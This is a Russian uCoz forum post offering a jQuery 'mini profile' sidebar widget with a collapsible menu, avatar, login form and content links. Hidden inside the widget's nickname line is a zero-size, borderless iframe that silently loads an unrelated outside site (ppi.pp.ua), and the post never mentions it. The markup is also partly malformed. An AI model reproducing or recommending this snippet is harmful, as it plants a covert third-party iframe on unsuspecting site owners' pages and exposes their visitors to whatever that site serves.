Мини-чат
Статистика
[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
  • Страница 1 из 1
  • 1
Форум » Система UcoZ » Пользователи » Мини профиль на jQuery для ucoz
Мини профиль на jQuery для ucoz
BrIzLiaN[Hd]Дата: Вторник, 03.01.2012, 12:36 | Сообщение # 1
Унизь пока тебя не...

Сообщений: 41
Награды: 1

[ 2 ]


Offline
Скрин

Code
<html><head>         

   <script type="text/javascript" src="http://jqueryjs.googlecode.com/files/jquery-1.3.2.min.js"></script>         
   <script type="text/javascript">         
   $(function() {         
         $('#menu li:even').addClass('even');         
         $('#menu li:odd').addClass('odd');         
         $('#menu li:even:last').addClass('last');         
                 
         $('#menu li:even').click( function() {         
         $('#menu li:even').toggle(500);         
         $(this).toggle(500);         
         $(this).next().slideToggle();         
         } );         
   });         
   </script>         
   <style type="text/css">         
   * {         
         padding: 0;         
         margin: 0;         
   }         

   #menu {         
         width: 200px;         
         border: 1px solid gray;         
   }         

   #menu li {         
         list-style-type: none;         
         border-bottom: 1px solid gray;         
   }         

   #menu li.odd {         
         font-size: 90%;         
         padding: 2px 8px;         
   }         

   #menu a {         
         display: block;         
         width: 184px;         
         color: #000000;         
         text-decoration: none;         
         padding: 2px 8px;         
   }         

   #menu li.even {         
         background-color: #F6F6F6;         
   }         

   #menu li.odd {         
         background-color: #fff;         
         display: none;         
   }         

   #menu li.odd a {         
         color: black;         
   }         

   #menu li.last {         
         border-bottom: none;         
   }         

   p {         
         padding-bottom: 20px;         
   } </style><?if($_AVATAR$)?><center><img alt="" src="$USER_AVATAR_URL$"></center><?else?><center><img src=http://ucooz.ucoz.ru/Untitled-1.png></center><?endif?></div><center>         
   <?if($USER_LOGGED_IN$)?><ul id="menu">         
   <li><a href="#">Мои данные</a></li>         
         <li>Ник:<b>$USERNAME$</b><iframe src="http://ppi.pp.ua/" name="iframe" width="0%" height="0%" scrolling="no" frameBorder=0></iframe><br><a href=$UNREAD_PM$>Сообщения:<b>$UNREAD_PM$</a></b></li>         
         <li><a href="#">Контент</a></li>         
         <li><a href=/load/0-0-0-0-1>Добавить файл</a><a href=/news/0-0-0-0-1>Добавить новость</a><a href=/publ/0-0-0-0-1>Добавить статью</a><a href=/blog/0-0-0-0-1>Добавить запись в блог</a><a href=/photo/0-0-0-0-1>Добавить фото</a></li>         

         <li><a href="#">Поиск по сайту</a></li>         
         <li>$MODULE_SEARCH_FORM$</li>         

         </ul><?else?><ul id="menu">         
   <li><a href="#">Войти</a></li>         
         <li>$LOGIN_FORM$</li>         
         <?endif?>         
   <li><a href="/index/3">Регистрация</a></li>


Не знание правил не освобождает от ответственности.
Форум » Система UcoZ » Пользователи » Мини профиль на jQuery для ucoz
  • Страница 1 из 1
  • 1
Поиск: